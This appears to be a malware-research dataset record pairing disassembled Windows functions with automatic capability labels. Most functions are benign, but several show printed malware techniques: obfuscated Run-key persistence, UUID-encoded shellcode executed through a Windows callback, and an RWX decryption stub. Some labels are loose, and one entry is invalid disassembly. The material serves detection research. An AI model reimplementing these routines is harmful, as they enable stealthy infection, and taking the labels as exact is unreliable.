joyce8/EMBER2024-capa huggingface dataset:
Function at 0x878ba2
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
mov eax, 0x1010
call fcn.0087a1b0
mov eax, dword [esp + 0x1014]
push ebx
push esi
mov esi, ecx
test eax, eax
mov dword [esp + 8], esi
je 0x878cfa
cmp byte [eax], 0
je 0x878cfa
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [esp + 0x14], ebx
jne 0x878bf5
mov dword [esi + 0x400], 2
pop esi
xor al, al
pop ebx
add esp, 0x1010
ret 0x10
mov eax, dword [esp + 0x1020]
push 0
push 0
push eax
push ebx
call dword [sym.imp.kernel32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x878c2b
push ebx
mov dword [esi + 0x400], 4
call dword [sym.imp.kernel32.dll_CloseHandle]
pop esi
xor al, al
pop ebx
add esp, 0x1010
ret 0x10
push ebp
push edi
lea ecx, [esp + 0x18]
push 0
push ecx
lea edx, [esp + 0x28]
push 0x1000
push edx
push ebx
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
mov dword [esp + 0x14], eax
je 0x878cda
mov esi, dword [esp + 0x1030]
mov ebp, dword [esp + 0x102c]
mov edi, dword [esp + 0x18]
test edi, edi
je 0x878cd2
cmp ebp, edi
lea ecx, [esp + 0x20]
jbe 0x878c77
lea edx, [esp + edi + 0x20]
sub ebp, edi
jmp 0x878c7d
lea edx, [esp + ebp + 0x20]
xor ebp, ebp
lea edi, [esp + 0x20]
cmp edi, edx
jae 0x878cac
mov edi, dword [esi]
xor eax, eax
mov al, byte [ecx]
xor ebx, ebx
mov bl, byte [esi]
xor eax, ebx
mov ebx, dword [esp + 0x10]
shr edi, 8
mov eax, dword [ebx + eax*4]
xor eax, edi
inc ecx
cmp ecx, edx
mov dword [esi], eax
jb 0x878c85
mov ebx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
test ebp, ebp
je 0x878cd2
lea ecx, [esp + 0x18]
push 0
push ecx
lea edx, [esp + 0x28]
push 0x1000
push edx
push ebx
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x878c5f
jmp 0x878cd6
test eax, eax
jne 0x878ce4
mov esi, dword [esp + 0x10]
mov dword [esi + 0x400], 3
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop ebp
pop esi
mov al, 1
pop ebx
add esp, 0x1010
ret 0x10
mov dword [esi + 0x400], 1
pop esi
xor al, al
pop ebx
add esp, 0x1010
ret 0x10

Function at 0x87cfc3
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x87cfe3
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.0087fc11
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x87d006
test byte [esp + 8], 2
je 0x87d006
call fcn.0087fc84
mov dword [eax], 0xd
call fcn.0087fc8d
mov dword [eax], 5
jmp 0x87cfdf
xor eax, eax
ret
Function at 0x10007140
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1000714f
pop dword [ebp - 0x1c]
mov eax, 0xc10e1384
add eax, 0x4ef25dcb
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x5a4d2b01
sub dword [ebp - 0x2c], 0xbfae5b6
mov dword [ebp - 0x28], 0xaf85baec
add dword [ebp - 0x28], 0x82ad9159
mov dword [ebp - 0x24], 0xe729d0ed
sub dword [ebp - 0x24], 0x9add8cbf
mov dword [ebp - 0x20], 0x2d4bb7b
sub dword [ebp - 0x20], 0x2d4bb7b
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x66f9441e
add dword [ebp - 0x2c], 0xd792538
mov dword [ebp - 0x28], 0xcf590f91
sub dword [ebp - 0x28], 0x8decae1c
mov dword [ebp - 0x24], 0xbdda568a
sub dword [ebp - 0x24], 0x5a6aea1e
mov dword [ebp - 0x20], 0xfe8452e6
add dword [ebp - 0x20], 0x17bad1a
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xe69dc64f
sub eax, 0xd697962f
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x56a9d
push 0
call eax
mov ecx, 0x518e
mov edi, eax
mov ebx, 0x1e4c1fd3
sub ebx, 0xe4299d3
add ebx, dword [ebp - 0x1c]
mov edx, 0xba236e9d
xor dword [ebp - 0x10], edi
mov esi, dword [ebx]
xor dword [ebp - 0x14], ebx
add esi, edx
mov dword [ebp - 8], 0xa32a5f0a
mov dword [edi], esi
add dword [ebp - 4], 0x8ced1e51
add edi, 0x895315d1
sub edi, 0x895315cd
add ebx, 4
loop 0x10007260
add eax, 0x2ce47416
add eax, 0xd31cc4f5
xor ebx, ebx
add ebx, eax
add eax, 0x69ce94f4
add eax, 0x96316b11
mov ecx, 0xac7e704b
add ecx, 0x63818fb5
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x1000db20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005d6e6
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x1008ab18]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 4]
cmp dword [eax + 0x16], 0
je 0x1000dc4f
push dword [ebp + 8]
lea ecx, [ebp - 0x10]
call fcn.10007140
mov edi, dword [esi + 4]
mov dword [ebp - 4], 0
call sym.ScCore.dll_public:_static_class_ScCore::Encoder_const____cdecl_ScCore::Encoder::getBinary_void_
cmp dword [edi + 0x12], eax
mov eax, edi
setne cl
cmp byte [ebp + 0xc], 0
je 0x1000db90
test cl, cl
je 0x1000db90
push dword [edi + 0x26]
lea ecx, [ebp - 0x10]
call fcn.10007140
mov eax, dword [esi + 4]
push dword [eax + 0x12]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x10]
call fcn.10007140
mov edi, eax
test edi, edi
jne 0x1000dbd0
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x1000dbd0
mov eax, dword [esi + 4]
push dword [eax + 0x16]
push 1
push ecx
push dword [ebp - 0x18]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov ecx, 0x34
cmp eax, 1
cmovne edi, ecx
mov eax, dword [esi + 4]
push dword [eax + 0x16]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
add esp, 4
test eax, eax
mov eax, dword [esi + 4]
push dword [eax + 0x16]
je 0x1000dc14
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_clearerr]
add esp, 4
lea ecx, [ebp - 0x10]
mov edi, 0x34
call fcn.10007140
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__ftelli64]
mov ecx, dword [esi + 4]
add esp, 4
cmp edx, dword [ecx + 0x1e]
jl 0x1000dc32
jg 0x1000dc2c
cmp eax, dword [ecx + 0x1a]
jbe 0x1000dc32
mov dword [ecx + 0x1a], eax
mov dword [ecx + 0x1e], edx
lea ecx, [ebp - 0x10]
call fcn.10007140
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, 0x32
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x1000dda0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005d70c
mov eax, dword fs:[0]
push eax
sub esp, 0x820
mov eax, dword [0x1008ab18]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x820], ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x814], eax
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x10063304]
mov ecx, ebx
call esi
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x82c]
push eax
mov eax, dword [ebx + 4]
add eax, 4
push eax
call fcn.10007140
add esp, 0xc
test eax, eax
jne 0x1000dfa4
push 0x100675e0
push dword [ebx + 4]
call fcn.10007140
mov edi, eax
add esp, 8
test edi, edi
jne 0x1000dfa9
mov eax, dword [ebx + 4]
push 2
push 0
push 0
mov edi, dword [eax + 0x16]
push edi
mov dword [ebp - 0x824], edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fseeki64]
add esp, 0x10
test eax, eax
jne 0x1000de74
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__ftelli64]
push 0
push 0
push 0
push edi
mov esi, eax
mov ebx, edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fseeki64]
add esp, 0x14
test eax, eax
je 0x1000de8f
mov ebx, dword [ebp - 0x820]
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x10063304]
mov ecx, ebx
call esi
mov eax, 0x34
jmp 0x1000dfab
push dword [ebp - 0x814]
lea ecx, [ebp - 0x81c]
call fcn.10007140
push 0x100675f0
push dword [ebp - 0x818]
mov dword [ebp - 4], 0
call fcn.10007140
mov edi, eax
add esp, 8
test edi, edi
jne 0x1000df79
mov eax, dword [ebp - 0x818]
mov eax, dword [eax + 0x16]
mov dword [ebp - 0x814], eax
mov eax, esi
or eax, ebx
je 0x1000df39
mov eax, 0x800
nop
push dword [ebp - 0x824]
cmp esi, 0x800
mov edi, esi
push 1
cmova edi, eax
lea eax, [ebp - 0x810]
push edi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
je 0x1000df9d
push dword [ebp - 0x814]
lea eax, [ebp - 0x810]
push 1
push edi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
test eax, eax
je 0x1000df9d
sub esi, edi
mov eax, esi
sbb ebx, 0
or eax, ebx
mov eax, 0x800
jne 0x1000dee0
lea ecx, [ebp - 0x81c]
call sym.ScCore.dll_public_virtual:_int___thiscall_ScCore::File::close_void_
mov edi, eax
test edi, edi
jne 0x1000df79
mov eax, dword [ebp - 0x818]
add eax, 4
push eax
call fcn.10007140
push dword [ebp - 0x828]
mov eax, dword [ebp - 0x818]
push dword [ebp - 0x82c]
add eax, 4
push eax
call fcn.10033b10
add esp, 0x10
mov edi, eax
mov ebx, dword [ebp - 0x820]
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x10063304]
mov ecx, ebx
call esi
lea ecx, [ebp - 0x81c]
call sym.ScCore.dll_public_virtual:_void___thiscall_ScCore::File::destructor_void_
jmp 0x1000dfa9
mov edi, 0x34
jmp 0x1000df79
mov edi, 0x30
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005a9e0
mov esp, ebp
pop ebp
ret 4
Function at 0x10010020
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push 0
push 0
call fcn.10007140
cwde
test eax, eax
je 0x10010052
mov ecx, dword [esi]
and al, 3
pop esi
cmp al, 2
jne 0x10010049
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033360
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033590
mov eax, 0x30
pop esi
pop ebp
ret
Function at 0x10035360
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov eax, dword [0x1008ab18]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
call fcn.10007140
mov ebx, eax
test ebx, ebx
je 0x100354cc
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
test edi, edi
je 0x100353ac
push 4
push edi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
jne 0x100353a8
push edi
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x100353ac
mov edi, eax
jmp 0x10035390
push 0x100
lea eax, [ebp - 0x184]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x100354c4
push 0x80
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x100354c4
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, edi
jne 0x100354c4
test edi, edi
je 0x100354c4
push esi
push 0xfffffffffffffffc
push edi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push edi
mov esi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push ebx
mov edi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test esi, esi
mov dword [ebp - 0x188], eax
pop esi
je 0x100354c4
cmp eax, edi
je 0x100354c4
push 1
push edi
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
je 0x10035471
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push edi
push dword [ebp - 0x188]
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005a9e0
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2000
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 2
lea eax, [ebp - 0x188]
mov dword [ebp - 0x188], 0
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 2
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1005a9e0
mov esp, ebp
pop ebp
ret
Function at 0x100354f0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, eax
test esi, esi
jne 0x1003551b
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
push dword [ebp - 0xc]
push esi
call fcn.10007140
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x10035544
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
mov edx, dword [ebp - 8]
test eax, eax
cmove edx, esi
mov dword [ebp - 8], edx
test edx, edx
jne 0x1003555a
lea eax, [ebp - 0xc]
push eax
push 0x100355e0
call dword [sym.imp.USER32.dll_EnumWindows]
mov edx, dword [ebp - 8]
test edx, edx
je 0x100355a1
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1008baa8]
mov dword [ebp - 4], edx
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1008ba20]
cmp eax, dword [ecx + 4]
jg 0x100355a8
jmp 0x1003557e
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push 0
push dword [0x1008ba1c]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [ebp - 8]
test eax, eax
pop esi
cmovne ecx, dword [ebp - 4]
mov eax, ecx
mov esp, ebp
pop ebp
ret
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
push 0x1008ba20
call fcn.10007140
add esp, 4
cmp dword [0x1008ba20], 0xffffffff
jne 0x1003557b
push str.adobe.sccore.get.dialog.owner
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
push 0x1008ba20
mov dword [0x1008ba1c], eax
call fcn.10007140
add esp, 4
jmp 0x1003557b

Function at 0x10035720
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061183
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1008ab18]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 1
call fcn.10007140
mov edi, eax
mov ebx, edx
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x100357b8
mov dword [esi + 0xc], 0x20
mov eax, esi
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov dword [esi + 8], eax
mov eax, dword [0x1008b8f8]
test eax, eax
jne 0x100357cc
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov dword [eax + 0x52], edi
mov dword [eax + 0x56], ebx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10035860
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x1003586f
push dword [ecx + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
ret
Function at 0x10035bb0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x1008ba4c]
test eax, eax
jne 0x10035c19
push dword [0x1008a930]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10035c19
push esi
push 0x16c
call fcn.10007140
add esp, 4
test eax, eax
je 0x10035be6
mov ecx, eax
call fcn.10007140
mov esi, eax
jmp 0x10035be8
xor esi, esi
cmp byte [0x1008ba48], 0
jne 0x10035c02
mov ecx, esi
mov dword [0x1008ba4c], esi
call fcn.1001d780
mov eax, esi
pop esi
ret
push esi
push dword [0x1008a930]
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.1001d780
mov eax, esi
pop esi
ret

Function at 0x10035c20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x1008a930]
cmp eax, 0xffffffff
je 0x10035c76
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10035c67
mov ecx, dword [0x1008ba4c]
xor eax, eax
cmp esi, ecx
cmove ecx, eax
mov dword [0x1008ba4c], ecx
mov ecx, esi
call fcn.1001d7b0
mov ecx, esi
call fcn.1001d750
push 0x16c
push esi
call fcn.10007140
add esp, 8
push 0
push dword [0x1008a930]
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret

Function at 0x100012e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10001307
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
push 0
push 0
push 0x10001040
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop ebp
ret 0xc
Function at 0x44a210
Capabilities:
Accept command line arguments
Query or enumerate registry value

Disassembly:
sub esp, 0x18
push ebx
push esi
mov esi, 0x190
push edi
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x44a2e2
lea ecx, [esp + 0x20]
push ebp
mov ebp, 4
push ecx
push edi
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x18], ebp
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.Browse_For_Folder_Width
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x44a290
mov ebx, dword [esp + 0x1c]
xor esi, esi
test edi, edi
mov dword [esp + 0x14], ebp
je 0x44a2a9
mov eax, dword [0x65bb1c]
push 0x65b838
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x18]
push edx
push eax
push 0
push str.Browse_For_Folder_Height
push ecx
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
pop ebp
jne 0x44a2d7
or esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
mov edx, ebx
pop esi
pop ebx
add esp, 0x18
ret

Function at 0x52d77d
Capabilities:
Encode data using xor

Disassembly:
jne 0x52d7d4
mov ah, byte [eax - 0x5e4f4cef]
push ebx
mov ch, cl
and byte [ebx - 0x75], 0xcd
invalid
xchg byte [ebx], cl
mov al, 0xa3
inc esp
inc edi
lea ebx, fs:[ebp - 0x7d]
iretd
Function at 0x10001229
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a8
mov eax, dword [0x1001b004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x208
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x24c], 0x720044
push 0
push eax
mov dword [ebp - 0x248], 0x70006f
mov dword [ebp - 0x244], 0x6f0062
mov dword [ebp - 0x240], 0x430078
mov dword [ebp - 0x23c], 0x610072
mov dword [ebp - 0x238], 0x680073
mov dword [ebp - 0x234], 0x610048
mov dword [ebp - 0x230], 0x64006e
mov dword [ebp - 0x22c], 0x65006c
mov dword [ebp - 0x228], 0x72
call fcn.10002840
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, 0x740066
mov dword [ebp - 0x2a8], 0x6f0053
mov dword [ebp - 0x2a4], eax
mov ecx, 0x650072
mov dword [ebp - 0x288], eax
lea eax, [ebp - 0x20c]
push eax
mov dword [ebp - 0x2a0], 0x610077
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x298], 0x4d005c
mov dword [ebp - 0x294], 0x630069
mov dword [ebp - 0x290], 0x6f0072
mov dword [ebp - 0x28c], 0x6f0073
mov dword [ebp - 0x284], 0x57005c
mov dword [ebp - 0x280], 0x6e0069
mov dword [ebp - 0x27c], 0x6f0064
mov dword [ebp - 0x278], 0x730077
mov dword [ebp - 0x274], 0x43005c
mov dword [ebp - 0x270], 0x720075
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x268], 0x74006e
mov dword [ebp - 0x264], 0x650056
mov dword [ebp - 0x260], 0x730072
mov dword [ebp - 0x25c], 0x6f0069
mov dword [ebp - 0x258], 0x5c006e
mov dword [ebp - 0x254], 0x750052
mov dword [ebp - 0x250], 0x6e
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x224], 0x776c6873
mov dword [ebp - 0x220], 0x2e697061
mov dword [ebp - 0x21c], 0x6c6c64
lea esi, [eax + 1]
mov dword [ebp - 0x218], 0x65534853
lea eax, [ebp - 0x218]
mov dword [ebp - 0x214], 0x6c615674
push eax
lea eax, [ebp - 0x224]
mov dword [ebp - 0x210], 0x576575
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esi + esi]
push ecx
lea ecx, [ebp - 0x20c]
push ecx
push 1
lea ecx, [ebp - 0x24c]
push ecx
lea ecx, [ebp - 0x2a8]
push ecx
push 0x80000001
call eax
pop esi
test eax, eax
je 0x10001441
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001776
mov esp, ebp
pop ebp
ret
Function at 0x1000144f
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5308
call fcn.1000ad10
mov eax, dword [0x1001b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push 0x40000
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0x2f00
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10001509
push edi
mov ebx, esi
mov edi, 0x10017df0
push ebx
push dword [edi]
call dword [sym.imp.RPCRT4.dll_UuidFromStringA]
test eax, eax
jne 0x10001501
add edi, 4
add ebx, 0x10
cmp edi, 0x1001898c
jl 0x10001492
mov edi, 0x5300
push edi
push eax
lea eax, [ebp - 0x5304]
push eax
call fcn.10002840
add esp, 0xc
lea eax, [ebp - 0x5304]
mov ecx, esi
push eax
call section..text
call dword [sym.imp.KERNEL32.dll_FreeConsole]
lea eax, [ebp - 0x5308]
push eax
push 0x40
push edi
lea eax, [ebp - 0x5304]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10001501
push 0
lea eax, [ebp - 0x5304]
push eax
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10001776
mov esp, ebp
pop ebp
ret